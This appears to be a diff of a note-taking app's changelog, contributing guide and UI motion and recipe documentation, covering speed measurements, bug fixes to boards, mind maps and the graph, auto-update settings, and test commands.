+- Files attached to a note are one card everywhere (the note, its edit form, Capture, a document, the graph and the timeline): the picture or a tinted kind icon, the whole name on up to two lines, and the kind, size and date. Click the card to open the file; its ⋯ menu has Open, Download, Rename, Describe with AI, Edit description, Annotate a copy, Copy as a link and Remove. Removing a file from a note's text can be undone, and its upload is only deleted once nothing else uses it.
+- One "working" mark across the app: the same ring, 1.15 times the text beside it, 2px stroke, turning once every 0.9s in the accent's text colour, on a note's "Atlas is reading…" and "Filing…", the agent palette and its steps, the activity panel, the tension review, a long job's toast, the Library's readings and every button that waits (which now also says so with the ring and cannot be pressed twice). Before, the same state was a ring, a spinning icon at two speeds, a pulsing word that never moved, the chat's reply dots, or a still icon. With reduced motion the ring breathes instead of turning, and "…" is always the one-character ellipsis.
+### Added
+
+- A double-click on Notes or Library in the top bar goes back to its first sub-tab (INBOX 659).
+- A category's colour can be chosen: in Manage categories (and a category's ⋯ menu in the sidebar), Colour opens twelve swatches that each read as a dot in light and dark, plus Automatic to go back to the name-based colour. The choice shows at once on the category's dots and chips, its graph nodes and legend, the timeline and the dashboard, and is kept with the category through a rename.
+- Speed: the reference chips on the note cards (asked for at every unlock) are read for a whole page of notes at once instead of four database queries per note, so sixty cards cost 6 statements rather than 242 and about a third of the time on 500 notes (172 to 53 ms), and 5.8 times less on 5,000 notes (2,267 to 388 ms, same machine and load); what they count is unchanged.
+- Speed: the dashboard's activity strip and heatmap read each recent note's day as a column instead of loading every note whole, text included; on 5,000 notes made within the year the heatmap went from 179 to 24 ms and the stats from 184 to 55 ms (same machine, interleaved runs).
+- Speed: the Library's Files & Images list (and the pickers that offer your uploads) works out where each file is used by asking the database for the notes, documents and board objects that mention `/media/` instead of loading every one; on 5,000 notes 140 ms became 9 ms (same machine, interleaved runs), with the same answers.
+- Speed: the first click of a session (the unlock) no longer waits for the reminder chime's audio device to open; it is made just after, when the browser is idle. The click's handlers went from 44 to 56 ms (the longest script on the lock screen) to under 1 ms in headless Chromium, and the chime still works (the context is running afterwards).
+- Speed: the foreign keys a note is looked up by now have indexes (a note's replies, the boards it is on and a board's cards and sketches, its reminders and bookmarks), added to existing notebooks at startup like the others. 900 lookups by them took 604 ms unindexed and 2.9 ms indexed on 5,000 notes with 4,000 board cards and 1,500 reminders; opening a note's connections or deleting one is within noise at that size, so this matters for big boards rather than ordinary use.
+### Fixed
+
+- Filing with no model: a note whose own category wins its words' vote by a clear lead (twice the next) is filed there, even when a shared word like "oil" splits the vote; before, an obvious cooking note stayed Uncategorised. Measured on the leave-one-out set: 17% filed (was 15%), 71% of those right (was 67%).
+- Phone header: at 360 wide with Text size Large and Density Spacious the shell was 368px wide and every tab scrolled sideways by 8px; the header's targets stay 44px in Large text and below 360 its padding and gaps step down, so the page no longer scrolls sideways at 320, 360 and 390 in any text size or density.
+- Phone action sheets (a ⋯ at 390) leave with the same short fade the menus have on Escape, on a press outside and on a row, instead of vanishing in one frame; nothing animates when Interface animations is set to reduced.
+- Mind maps: a topic's resize grip, link and reference doors now use the topic as it is now; after the map had refreshed, a plain drag of the grip put a cleared text size back and saved the older copy of the topic.
+- Mind maps: the left rail shows This map and Outline however the map was opened; from the board picker or straight after New board it kept a whiteboard's Notes, Layers and Pages, which only went back to Library (INBOX 657).
+- Mind maps: dragging a line's curve is undone by Ctrl+Z; the undo step used to hold the new curve (INBOX 658).
+- Timeline: the table's header row and the feed's date headers are opaque again when the list scrolls under them; their base layer had never painted, so rows showed through the labels (INBOX 655).
+- Agent activity no longer opens over the page at every launch for the app's own start-up work (loading the search model, rebuilding the index, starting the local search engine, image captions and page reads) or for downloads started in Settings; they stay listed under the status bar's activity item, and a failure is still announced (INBOX 653).
+- Whiteboard: turning a card, a box or a selection now carries the links touching it round with it as it turns; before, a link stayed on the unturned box until the item was next moved (INBOX 647).
+- Boards and maps: dragging a selection box, an item or a branch to the edge of the canvas pans the board to follow, faster the deeper into the edge, and the item stays under the pointer (INBOX 608).
+- Graph: Mind map on the selection bar builds the map from the notes' links: the picked or most connected note in the middle, linked notes under the note they link to, the rest grouped by category, no topic left with more than eight children, and every other link kept as a cross-link, laid out on both sides. Its notice and its bell row have Open (INBOX 607).
+- Boards and maps: the board's sidebar. With the tools docked at the side it stands beside them instead of over them, and is the same height on a board and a map; the Library's ⋯ menu hangs from its button's right edge; a map's rail has This map (what the map is made of, its look, Open every folded branch, Lay the map out again) and the Outline in place of Notes, Layers and Pages; and the Library starts with Templates, five for a board (Kanban with cards, a retrospective, a flowchart loop, meeting notes, a week plan) and seven for a map (Brainstorm, Decision, Project, Cause and effect, Pros and cons, Book notes, Meeting), placed by a click or dragged to where they go, a map's under the topic they are dropped on (INBOX 596).
+- Mind maps: several topics picked at once (a box dragged round them, or Shift-click) are a map selection, not a board one. No group box with resize and rotate grips; the bar has colour, bold, tasks, fold and summarise for all of them, each one undo step; the right-click menu has the same in words (INBOX 617).
+- Mind maps: a selected topic's bar has the text size on it (S, M, L, XL, one press), and every choice in its Text, Shape and Branch line panels is a row of buttons rather than a list inside a menu, so nothing takes more than two presses. The two small grips above a topic's corner are one square on its bottom right corner that resizes it like a card; Shift while dragging scales its text with it (INBOX 610).
+- Mind maps: a long branch is a smooth curve at every zoom; its two sides are drawn as a spline through more samples instead of straight pieces that showed their corners (INBOX 609).
+- Improve writing: Start and Use the suggestion are 44px under touch like every other dialog foot (they were held at 32 by their own height rule; `improvefoot.js`, 0 findings at 390 and 1440, light and dark). The background art's unused CSS-style rules (the mesh and bubbles, canvas styles since) are gone, 370 bytes of boot CSS.
+- Help audit (2026-10-05): the Guide, the help popovers, the README and a few messages named places the UI had renamed, and now say what the UI says. Settings, Shortcuts is Keyboard shortcuts, Settings, Tools is Tools it can use, Settings, Extras is Packages, the model bench switch is under What it learned, the search engine is under Search and index in the README, and Account & security is spelled as the nav spells it; the Library's sub-tab is Boards & maps (the Guide said Whiteboards and Boards and maps), Files & Images is two sub-tabs, Images and Files, and Write with Atlas has Split into notes where the Guide named an Extract notes button and a Writing Room sub-tab the Notes tab does not have. The autonomous background AI entry's badge opened Profile and now opens Background tasks. tests/test_help_settings_paths.py pins every "Settings, A, B" path in the Guide, the README and the app's own messages to the nav and panes in index.html, so a rename fails the build; scratchpad/ui-sweeps/helpaudit.js opens all 21 panes and 80 paths in a browser.
+- Graph: the map stays framed when a panel opens or closes beside it (INBOX 613).
+- Appearance: the generative background stays off when it is switched off; the power saver, a theme change or the tour could draw it anyway (INBOX 611).
+- Ask: a sentence drawn from a picture's caption gets its note's number, so a note that is one word and a sketch is cited too (INBOX 604).
+- Notes: the Ask sub-tab is as wide as a tab should be (INBOX 605); Customise can reset the Quick access highlights alone (INBOX 603).
+- Start-up: a session left over from before the app restarted goes straight to the lock screen, instead of drawing the dashboard with every widget failing first (INBOX 597).
+- Ask: the model is shown each note's tags and attached files (with their captions), so a note that is one word and a sketch is no longer passed over as too vague (INBOX 594).
+- Ask: the last answer's "Only 2 of 6 sentences" notice goes when you ask again, rather than sitting over the next answer's thinking (INBOX 593).
+- Graph: tree, radial and arc no longer throw when a reply is listed before the note it answers, so switching layout works again (INBOX 579); a reply loop hangs off its category instead of hanging the layout.
+- Chat: the agent's step circles sit exactly on the rail's line (INBOX 588).
+- Documents: printing a document, or saving it as PDF, gave one blank page; the print rule hid the part of the window the document page now sits in. A long document prints on as many pages as it needs again.
+- Documents: at 1024 wide the sidebar's Outline tab no longer runs under the collapse button; a narrow sidebar puts its two tabs on their own row under it.
+- Exports: the writing dictionary's Export saves in the desktop window too (it used a browser-only download that the desktop window ignores); every download goes through one helper.
+- Chat: a document imported through the paperclip lands in the space that is open, not the default space. Every upload that sets its own headers (the chat, the Library, documents, the whiteboard, media, Settings) now sends the space with the token through one helper, and a lint fails on a header object that drops it.
+- Graph: a note's size in focus mode and the Local map is the whole map's (its PageRank), whichever view was opened first; before, the two shared one cached ranking of two different graphs (drafts and boards in one, not the other), so sizes depended on the order, and turning Maps on kept the ranking without boards. The graph also loads about four times faster when warm at 5,000 notes (3.3 to 4.1 s down to 0.7 to 1.0 s in process), reading columns rather than whole notes (GRAPH_PLAN, decision 2026-10-05).
+- The chat list's sort select is as wide as its words (144px) rather than the whole sidebar column (266px).

A popup after login offers it the moment a real release is found (once per version, not every login); Settings → About has the same "Update automatically" action as a manual fallback. Two new, separate switches: whether the app may check GitHub for a release at all, and whether it may apply one automatically once found — turning either off is respected everywhere, including the popup. A "choose a specific version" picker lists recent releases directly in Settings, and a "track the main branch" channel option is now a real, storable preference (main-branch tracking itself still reports honestly as not yet available — no nightly-build pipeline exists yet to make good on it). Every step — checking, downloading, and applying — degrades cleanly when offline or blocked by a firewall/antivirus, and a failed attempt can always be retried, either from the next login's popup or by hand in Settings. Source checkouts (`start.sh`/`start.bat`) already auto-update on every launch via `git pull`; they now default to tracking main (since that's what they're actually doing) and show their own "you were just updated" popup after a real update, using the same mechanism.

 ## Getting set up
 
 ```bash
 python3 -m venv .venv && source .venv/bin/activate   # Windows: .venv\Scripts\activate
 pip install -r requirements.txt
-pip install -e .            # editable install, don't forget the dot

+Run the app with `python -m memorymap` and open <http://localhost:8000>, or use
+`./start.sh` (`start.bat` on Windows), which does all of the above.
+
+`requirements.txt` includes `sentence-transformers`, which brings PyTorch (about
+2 GB). The test suite fakes every embedding and does not need it. If you only want
+to run the tests, install the packages by hand, as `CLAUDE.md` section 7 lists them.
 
 ## Before you open a PR
 
-Two commands, both fast and fully offline (no Ollama, no models
-needed):
+Everything runs offline, with no Ollama and no models:
 
 ```bash
-pytest              # the full test suite
-ruff check .        # lint
+bash scripts/gate.sh --changed   # lint set, node --check, ruff, and the tests that name your files
+ruff check .                     # lint (what CI runs)
+pytest -n auto                   # the whole suite: 7,200+ tests, under nine minutes on four cores
 ```
 
-Or use the Makefile shortcut, which runs both:
+The full suite takes about 25 minutes serially, so run the gate while you work
+and leave the rest to CI, which runs everything on every push. `make check` runs
+lint and tests together, and `make help` lists the other tasks. Optionally,
+`ruff format .` tidies formatting.
 
-```bash
-make check          # lint + tests, the pre-push gate
-```
-
-Optional, to keep formatting tidy:
-
-```bash
-ruff format .       # auto-format (make format)

-Prefer to catch problems automatically? Install the pre-commit hooks
-once and the lint and hygiene checks run on every commit:
+To run the lint and hygiene checks on every commit, install the hooks once:

-- **Additive only.** Extend functions rather than replacing them, and

+  layouts the control does not have (14 against 14 on Notes, 2 against 1 on
+  Chat, per fold).
+- **A page arriving** (a tab switch) fades in over `--ui-fast` (120ms, the
+  motion pass of 2026-10-05; a sub-tab's panel does not, since
+  `@starting-style` cannot tell a section switch from its page arriving and

+  the whole pass against 140 with it off (the glide's share), frame p95 33
+  to 50ms either way in this sandbox, which is its CPU, not the pass. With
+  glass on, a glass pixel converges smoothly through the fade and ends
+  where it rests (slowed 20x: 242 to 249, no step at the end; background
+  art off).
+- **A heavy page's first visit** (Graph, Library, Documents, whose code is
+  fetched the first time): the page's markup waits hidden under one
+  `.skeleton` the size of the page (`tabPlaceholder`, navigation.js;
+  `.tab-loading`), and when the code and the first draw are in (800ms at
+  most) the skeleton fades as the page fades in (`.tab-revealing`,
+  `--motion-base`). Loading is never shown raw.
+- **A popup arriving** (Settings, the palettes, Find anything, a confirm:
+  every `.modal-overlay`, `.lock-overlay` but the lock screen, and
+  `#palette-overlay`): the scrim fades in over `--ui-base` and what
+  stands on it rises one step (`--space-2`) from 0.985 over `--ui-slow`,
+  `--ease-out`, all `@starting-style`, under `:where()` so a dialog with
+  motion of its own keeps it; a sheet rises from its bottom edge
+  (`--space-6`). **It leaves the same way back, faster** (the motion pass):
+  `.hidden` fades the scrim and sinks the card over `--ui-exit` (100ms)
+  while `display` holds (`allow-discrete`) with no pointer on it; a dialog
+  removed from the page rather than hidden simply goes.
+- **The opening** (INBOX 577): whatever covers the window when the app
+  starts (the splash, or the lock screen once the password is in, its
+  button saying "Opening…") stays up while the first tab draws, then fades
+  once over `--motion-slow` over a finished page (`curtainShell`,
+  shell-reminders.js; at most 1.5s). Nothing late may push that page: a
+  line written after a fetch keeps its line box while empty (`:empty::before
+  { content: "\a0" }`), a mark drawn by script keeps its room
+  (`min-block-size`), an empty-state line waits with its list's skeletons,
+  a card that gains a part after a fetch waits unseen for it (700ms at
+  most) and fades in whole. `scratchpad/ui-sweeps/smooth1005-boot.js`
+  (GATE=1): visible layout shift 0 at boot (0.073 with sign-in off before),
+  and the companion's head never changes size by more than 2% between two
+  frames after it first shows.
+- **The companion arrives at its own size**: after the curtain lifts, by a
+  move and a fade; an entrance never squashes or grows it (that was "the
+  head goes large then small then large again"), and a keyframe
+  `transform` on a part of Atlas restates that part's resting transform in
+  every frame (the hello nod dropped the head's 0.76 scale for 0.9s). Its
+  paced animations hold still for the 400ms a tab or Settings takes to
+  arrive (`uiSettlingUntil`).
+- **A menu or popover grows from what opened it** (the motion pass,
+  2026-10-05; it was a `clip-path` circle): `.action-menu`, a dock's
+  `<details>` menu and a help popover fade in (`ui-fade`) and scale from
+  0.96 (`ui-grow`) out of the corner nearest their opener
+  (`--menu-origin-x/y`; a popover's caret) over `--ui-base`; an action menu
+  closes back the same way over `--ui-exit`. **The grow starts 1ms late**,
+  with no backwards fill: every placement measure taken before the first
+  frame (the flip, the escape to `<body>`, the cap) sees the box at full
+  size, while the fade already holds it invisible, so a transform is never
+  measured into a placement. A menu that escaped to `<body>` goes home on
+  close after its exit (`afterMenuExit`, menus.js: moving a node cancels
+  its transition).
+- **The press**: every button and button chip scales to 0.97 and takes its
+  ground a step deeper (the hover's step on a solid ground, the hover veil
+  on any other) on `--ui-fast`, through the one `button:active` rule.
+- **A focus ring eases in**: buttons and summaries carry a transparent 2px
+  ring at rest, so the focus changes only `outline-color`, on `--ui-fast`
+  (not under forced colours, where a transparent outline shows).
+- **A hover eases**: a row or a card that changes ground or edge under the
+  pointer does it over `--ui-base` (a zero-specificity rule for list rows
+  and the row families without a transition of their own); a hover is a
+  colour, and **no interface transition animates `box-shadow`** (the motion
+  pass: a shadow changes at once; `tests/test_cheap_animations.py`).
+- **A list settles in where its skeleton was**: `clearSkeletons`
+  (notes-list.js), which every skeleton's owner calls, gives the list
+  `.ui-settle` for that one swap; its rows fade up a step, `--ui-step`
+  (30ms) apart for the first eight and together after that. **Not added:**
+  a row fading in or out later. The lists re-render whole on a filter
+  keystroke, so CSS cannot tell a new row from a redrawn one, and every row
+  fading on every keystroke is the decoration this section rules out.
+- **A toast** arrives from the edge it lives on (a step, `--space-4`, over
+  `--ui-slow`), leaves the way it came over `--ui-exit`, and the others
+  slide to make room or close the gap (`toastStack`, status.js: measured,
+  changed, played back by `translate` over `--ui-base`).
+- **Never:** a width, height, margin or padding in motion; a page's own
+  scroll; anything on first paint (a transition needs a before, and a strip
+  or panel drawn for the first time has none); a loop.
+- **Interface animations, a switch of its own** (the owner, 2026-10-05:
+  "make them happen even with reduced motion but with a separate toggle in
+  the appearance settings with it automatically on ... just make sure they
+  are cheap"). **The decision, not to be remade:** the polish set (a press,
+  a menu, popover, dialog or sheet opening and closing, a tab's indicator
+  and panel, a list settling, a toast, a focus ring, a hover) plays **even
+  when the system asks for reduced motion or Appearance's Reduce motion is
+  on**, for as long as Settings, Appearance, Effects & accessibility,
+  Interface animations is on, which it is by default. Off, every one of
+  them is instant. It is `data-ui-motion="on|off"` on the root
+  (theme-boot.js before first paint, `applyAppearance` after, the `ui-motion`
+  key in prefs.js), and the polish reads the `--ui-*` tokens
+  (00-tokens-shell.css: `--ui-fast`, `--ui-base`, `--ui-slow`, `--ui-exit`,
+  `--ui-step`), which are the `--motion-*` scale when on and `0s` when off;
+  the reduced-motion blankets in 02-chat-graph.css still the animations but
+  leave transitions to the switch. **The large decorative motion keeps
+  reduced motion and its own settings**: Atlas and the faces, the
+  background art, the dashboard's emblem, the graph's simulation and the
+  whiteboard (the blankets still zero their transitions under either
+  reduced-motion switch). Performance mode does not touch the switch: the
+  polish is the compositor's and cheap, which is the condition it was asked
+  for on. `tests/test_motion_tokens.py` holds it (no reduced-motion block
+  names a polish recipe, every `/* --- motion:` section reads `--ui-*`,
+  the blankets ask the switch); `scratchpad/ui-sweeps/motion1005.js`
+  measures it.

+| A connection with the sentence it is said in (a document's Backlinks and Unlinked mentions; a note's Connections column and sheet, GRAPH_PLAN KG1) | `docBacklinkContext(row)` (menus.js): the server's `context` with `hit_start` and `hit_end` marked by a `<mark>` on the found-text recipe, two lines then an ellipsis (`.doc-backlink-context`), under its `.connection-row` or `.doc-backlink-title`; an action goes under it in `.doc-backlink-foot` as a `smallButton` (`.doc-backlink-action`); a write sends the offsets to the server, which refuses a span that moved (409) rather than guessing | `tests/test_note_backlinks_kg1.py`, `tests/test_doc_backlinks.py`, `scratchpad/ui-sweeps/kg1rail.js`, `docbacklinks.js` |
+| Suggestions a person decides one by one (links to add, tensions, names to merge, link types: GRAPH_PLAN KG9) | **One sheet, never a panel per kind**: `openSuggestionsInbox(kind)` (suggestions-inbox.js, lazy) on `openSheet` with the dialog head and its '?', a `.seg` of the kinds on one row at every width, each tab carrying its count as quiet text (`.inbox-count`), arrows walking the tabs; under it one line of description and the kind's rows (`.inbox-row`: a title, the sentence via `docBacklinkContext` when there is one, the reasons each with its percentage (`.link-suggestion-why`), then a foot of a confidence chip, the one accept as a `smallButton` and a dismiss X). A decided row leaves, the count drops and the focus moves to the next row; an accept or a dismissal is a correction (`/learned/corrections` or the kind's own route), never browser state. A new kind of suggestion is a tab here. **A thing's own page** (an entity, `openEntityPage` in entity-page.js) is the same sheet: the name as the title, its facts as the `sub` line, a `kebabMenu` of its edits before the close, then `.entity-section`s under quiet headings, mentions as `.inbox-row`s with the sentence marked | `tests/test_suggestions_inbox_kg9.py`, `tests/test_entities_kg5.py`, `scratchpad/ui-sweeps/kg9inbox.js`, `kg5entity.js` |
+| A card about a group drawn on a canvas (a graph topic, KG6) | a panel in the graph overlay's column on its shared shell (`.graph-overlay .graph-topic` beside `.graph-trace-result`, the glass rule in 08-consistency.css), right-aligned at `min(24rem, 100%)`: a head of a colour dot, the name, a quiet count and an icon X; one muted line of facts; the answer with `aria-live`; a model step behind its own `smallButton` with a Stop while it runs (an `AbortController`), never on open. Opened from the group's legend entry, closed by the X or by leaving the mode that drew it | `tests/test_topic_summary_kg6.py`, `scratchpad/ui-sweeps/kg6summary.js` |
+| A named region on the graph canvas (a topic, GRAPH_PLAN KG6) | `gcDrawTopicHulls` (graph-canvas.js): a convex hull of the region's dots padded by radius plus 10, dashed 1.5px at 0.45 and filled at 0.06 in the region's colour, under the links; its name in `--ink` on a `--card` plate at 0.88 edged in the colour (never the colour as text: a light hue is under 3:1), above the hull's top point and clamped to its width; full tab only, behind a colour rule rather than a switch | `tests/test_topics_kg6.py`, `scratchpad/ui-sweeps/kg6topics.js` |
+| A short list you check, put in order and save once (Quick access's manager, `quickAccessManage` in quick-access.js; INBOX 524) | The Attach picker's rows (`note-picker-row`, `note-picker-check`, the real checkbox visually hidden) in two groups inside one `space-dialog`: **what is on is checked and first, in its order**, the rest below, a count in each heading. A tick changes a draft; **nothing is saved until Done** (Cancel, X, Escape and the backdrop keep what was there), and a cap refuses with a message rather than a disabled row. The search narrows both groups and stays. Order by **drag, Alt+Up and Alt+Down on a row, and two small move buttons** (the single-pointer alternative to a drag, WCAG 2.5.7; always shown under `(hover: none)`); the list is one tab stop that the arrows walk and Enter is Done. The pure helpers (`quickAccessMoved`, `quickAccessReslotted`) are tested in node | `tests/test_quick_access.py`, `scratchpad/ui-sweeps/quickmanage.js`, `quickdrag.js` |
+| A tab or sub-tab's control bar | `.dock` with `.dock-identity`, `.dock-find`, `.dock-arrange` (both `.dock-group`s), `.dock-actions`, in that order; seven controls at most, one filled. **The grammar** (INBOX 621, the owner: the bars "dont feel professional or modern and more demo/vibe coded"): the title is the page head, the zone's `h2` with **no divider after it**; a count beside it is quiet muted text (`.dock-chip`: no edge, no fill, tabular figures), never a pill; search is `div.search-field.dock-search` holding a `.search-field-icon` magnifier and the `input.search-field-input`, a subtle `--field-inset` fill with **no edge at rest** and the accent edge and ring on focus, and a sort `<select>` beside it takes the same quiet inset; every segmented control is the one `.seg` well (one fill, one chosen state); the actions zone is its worded ghosts (weight 500), then the icon-only ghosts as **one trailing run** (32px, 44 under touch; refresh, help, more), then **the one filled action, last**. No hairline anywhere in the bar: zones are parted by `--space-6`, twice the gap inside one (`--space-4` below 600, where they stack) | `tests/test_dock_grammar.py` (zone order, one filled and last, the icon run, a wrapped search with its icon, no zone hairline, a quiet count, an edgeless field), `scratchpad/ui-sweeps/dockgrammar621.js` (every dock at 1440 and 390, light and dark: title divider, hairlines, count pill, field edge and icon, icon size and run, filled last, one segment style), `scratchpad/ui-sweeps/docks.js` |
+| A palette of many tools (a drawing bar, where every control is a tool rather than one of seven choices) | `.wb-tool-section` around one `.wb-tool-section-label` and one `.wb-tool-section-row`, all of them in one bar; the group boundary is the hairline `.wb-tool-section + .wb-tool-section` draws in `--divider`, and nothing sits in the bar outside a section. Used by the whiteboard rail and the sketch pad's toolbar; the sketch pad's bar, a borderless `--field-inset` tint on its card, tells its groups apart by the space they share out instead of the hairline (INBOX 620, `scratchpad/ui-sweeps/sketch620.js`) | `tests/test_ui_recipes.py` |
+| Text typed in place on the board (a text box, a topic, a shape's text) | `wbBeginTextEdit(el)` makes the element a plain-text editor and focuses it, `wbEditedText(el)` reads it back with its line breaks, `wbEndTextEdit(el)` (or removing the element) ends it; Enter and Escape finish, Shift+Enter breaks the line, the editor's own keydown stops propagation so the board's keys never act on what is typed. A shape's text is an SVG `<text class="sketch-label">` in the shape's own group (`wbPaintShapeLabel`), typed through `.wb-shape-label-editor` in the card layer (WHITEBOARD_PLAN decision 12); a connector's label (`.wb-link-label`, decision 13) is typed through the same editor, `wbOpenSketchLabelEditor`, one line; a frame's title (`.wb-frame-title`, decision 14) is typed through `wbBeginTextEdit` too, Enter keeps, Escape restores | `tests/test_ui_recipes.py` (`test_board_text_is_made_editable_in_one_place`), `scratchpad/ui-sweeps/wbshapetext.js` |
+| A region of the board that holds what is in it (a frame) | an object of kind `frame` (`wbCreateFrame`), its title in `content`, drawn as `.wb-object-frame`: an edge in the muted ink and a `.wb-frame-title` above it, no fill, so the drawing layer under the card layer shows through; its inside is `pointer-events: none`, the title and the handles take the pointer. Stacked below everything (`wbFrameZ`); a drag carries what lies wholly inside it (`wbFrameDragOrigin` into the bulk mover), a frame inside it included, Ctrl moves it alone; its menu's Export this frame… selects it and everything inside (`wbExportFrame`) and opens the export dialog on Selection; nothing is clipped (WHITEBOARD_PLAN decision 18); no rotate grip, no style or order controls on the bar; the export draws it first. The F key, the rail's Add section and the Insert menu, board only (`WB_BOARD_ONLY_TOOLS`) | `tests/test_ui_recipes.py` (`test_a_frame_is_one_kind_reached_three_ways`), `scratchpad/ui-sweeps/wbframes.js` |
+| An item held in place on the board (lock) | the class `.wb-locked` (painted from state by `wbPaintLocks` after every render), one rule: `#whiteboard-container .wb-locked, .wb-locked *` take no pointer, so no gesture reaches it and none needs its own guard; what selects without the pointer asks `wbIsLocked` (Select all, marquee, lasso, a group's click, a frame's drag). Lock is the item menu's Lock and Ctrl+Shift+L; Unlock is the board's right-click menu (the press goes through the item to it) and Ctrl+Shift+L with nothing selected. A card keeps the flag in its `locked` column, a sketch and an object in their data. Not on maps (WHITEBOARD_PLAN decision 15) | `tests/test_ui_recipes.py` (`test_a_locked_item_is_out_of_reach_in_one_way`), `scratchpad/ui-sweeps/wblock.js` |
+| Deleting by dragging onto a target (a card, a box, a shape or a map topic, or the selection it belongs to; INBOX 660) | **One target for the three item drags**: `wbBeginGesture(restore, true)` marks the drag a move; past 6px of travel `.wb-trash` (built once by `wbTrashTarget`: a `.whiteboard-floating-panel` pill, so on the glass-off list, `aria-hidden`, no pointer of its own) shows at the canvas's foot, centred, above the edge auto-pan's 3.5rem band; the pointer within 8px of it sets the gesture's `overTrash`, turns it to `--error` with a ring and "Release to delete" (said in the board's live region) and holds the edge pan still. Each drag's end asks `wbTrashTake` first, while it still holds its origin: a hit puts the move back (`restore`), marks the gesture cancelled so nothing is saved, and `wbTrashDelete` deletes what was carried through the selection's own deletes inside one `wbRecordGesture` (a topic takes its branch), with `toastAction(..., "Undo")`. Escape and a drop elsewhere are the gesture's own; keyboard people keep Delete. Styles in library-lazy.css | `tests/test_ui_recipes.py` (`test_drag_to_delete_is_one_target_on_the_three_drags`), `scratchpad/ui-sweeps/wbtrash660.js` |
+| A region or a note drawn round topics on a map (a boundary, a summary) | `wbRenderMapStructure` (whiteboard-map.js), after `wbRenderMapEdges` on every render and on the selection bar's frame: `.wb-map-boundaries` (first in the zoom group, under the lines) holds one `.wb-map-boundary` path per topic carrying `data.boundary` (rounded, dashed, cloud) round the box of its showing branch padded by 12, its label above the top edge; `.wb-map-summaries` (after the lines) holds a `.wb-map-summary-brace` beyond the run's branches on the side away from the parent and the words past its tip. Colour is the branch colour as `--wb-boundary`; words in the line label's recipe; no pointer. Made and changed from the topic menu's Branch group (and a multi-selection's Summarise these topics…) through `wbMapSetStructure`, the topic's one undo step; in the image export as drawn (MINDMAP_PLAN decisions 19, 20) | `tests/test_ui_recipes.py` (`test_a_maps_boundaries_and_summaries_are_drawn_in_one_pass`), `scratchpad/ui-sweeps/mapstructure.js` |
+| A marker on a map topic (a priority, progress, a flag, an icon) | `wbMapPaintMarkers` (whiteboard-map.js), from the paint pass (`wbPaintMapNodeStyle`), into the topic's one `.wb-map-markers` row before its icon and label: a `.wb-map-mark-priority` badge (the number on `--accent`, 1 on `--error`, 2 on `--warn`), a `.wb-map-mark-progress` pie (a conic fill to `--progress`), the flag in `--error`, then up to six glyphs from `WB_MAP_MARKER_ICONS`, a fixed set from the vendored Phosphor font, **never emoji**; the row is one `role="img"` whose label says them all. Set in one help popover (`wbMapOpenMarkers`: `.seg` rows for Priority, Progress and Flag, a grid of pressed-state icon buttons) through `wbMapSetNodeStyle`, one undo step each; View, Filter by marker (`wbMapChooseMarkerFilter`) dims the rest (`.wb-map-filtered-out`) and says so in the focus bar's shell (`#wb-map-filter`). Content: a look reset keeps them; OPML and FreeMind carry them as `_priority`, `_progress`, `_flag`, `_markers` (MINDMAP_PLAN decision 34) | `tests/test_ui_recipes.py` (`test_a_topics_markers_are_one_row_from_one_icon_set`), `scratchpad/ui-sweeps/mmd2-1005-markers.js` |
+| A comment thread on a board item or a map topic | `comments` (`{id, text, at}`) in the item's own data, a card's in its `comments` column; `wbPaintCommentMarks` draws one `.wb-comment-pin` per commented item in `#wb-comment-marks` (in the card layer, above every item, a zero-size pin at the top-right corner scaled back to screen size by `WB_INV_ZOOM_GRIPS`) holding the accent `.wb-comment-mark` pill with the count, after every render and on the selection bar's frame so it follows a drag. The mark, the item menu's Comment… and a topic's Topic group open `wbOpenComments` in the help popover's shell (`.help-popover.wb-comments`, `placeHelpPopover`): the thread oldest first, a trash per comment, one box, Enter posts. Every change through `wbSetComments`, one undo step. Hidden while presenting; not exported (WHITEBOARD_PLAN decision 17) | `tests/test_ui_recipes.py` (`test_a_comment_thread_is_one_popover_reached_three_ways`), `scratchpad/ui-sweeps/wbcomments.js` |
+| Presenting a board's frames, or a map's branches | View, Present frames (`data-wb-fn="present"`, board only) or, on a map, Present branches (the same `data-wb-fn` on a `data-wb-surface="map"` row; its steps from `wbMapPresentSteps`: the whole map, then each trunk's branches; MINDMAP_PLAN decision 21): `wbStartPresenting` puts the board full screen and the host class `.wb-presenting` hides every control but `#wb-present-bar` (a `.whiteboard-floating-panel` centred at the foot: Previous, the count as a polite live region, Next, End) and takes the pointer off both drawing layers. Frames in reading order (`wbFramesInOrder`), each fitted above the bar's own strip; the keys are taken on the window in the capture phase (arrows, Space, Page Up and Down, Home, End, Escape), so no board key acts; Escape puts the camera, the window and the focus back (WHITEBOARD_PLAN decision 16) | `tests/test_ui_recipes.py` (`test_presenting_is_one_mode_with_one_bar`), `scratchpad/ui-sweeps/wbpresent.js` |
+| Showing a canvas as it was (a board's History, WHITEBOARD_PLAN decision 33) | The presenting recipe's mode and bar, not a second one: Board, History… (`data-wb-cmd="history"`) puts the presenting host class `.wb-presenting` on (whose rule spares any `.wb-present-bar`), which hides every control but `#wb-history-bar` (a `.whiteboard-floating-panel.wb-present-bar`: a range slider from the oldest moment to now, the moment's words as a polite live region, Put back, Put back the selection, End) and takes the pointer off both drawing layers; the past is drawn by the board's own render (`wbState` swapped for the moment's rows), the keys are taken on the window in the capture phase, and a write to `/whiteboard/` is refused before it is sent (`wbHistGuard`). Closing reads the board afresh | `tests/test_board_history.py` (`test_history_is_the_presenting_mode_with_its_own_bar`), `scratchpad/ui-sweeps/wbhistory.js` |
 | A menu behind a button | `kebabMenu(items, ariaLabel)` in sheets-selects.js (positions, clamps, escapes clipping, closes on outside click) or `details.dock-menu` in markup. **Past five rows it is grouped**: an item carries `group`, a name, and the menu draws a hairline (`.menu-sep`, `role="separator"`) wherever that name changes. The name is not printed, because a heading over every three rows makes a ten-row menu seventeen rows tall and what makes a list scannable is the break rather than the word; an item with no `group` behaves exactly as before, so a short menu declares nothing. **An item with `items` is a submenu**: the row flies its own list out beside it (`buildMenuGroupButton`, menus.js: clamped to the window, escaped from a clipping ancestor, opened in place in the phone's sheet), for a choice of several settings behind one row (the companion's Companion, Atlas look, Size and Settings). **Below 600 it is an action sheet**: `openKebabSheet` moves the menu into the sheet recipe (rows full width at the thumb, groups and keyboard kept, a group row opening in place) and puts it back on close; the note row's own ⋯ (`entryOverflowMenu`) does the same, and a menu at the pointer stays at the pointer. **Every menu keeps the keys**: ↓ and ↑ on an open menu's button land on its first and last row, ↑ ↓ Home End walk the rows, Escape closes it and gives the focus back to its button, and a menu that closes with the focus inside it hands the focus back rather than dropping it on `body`. A built menu gets this from 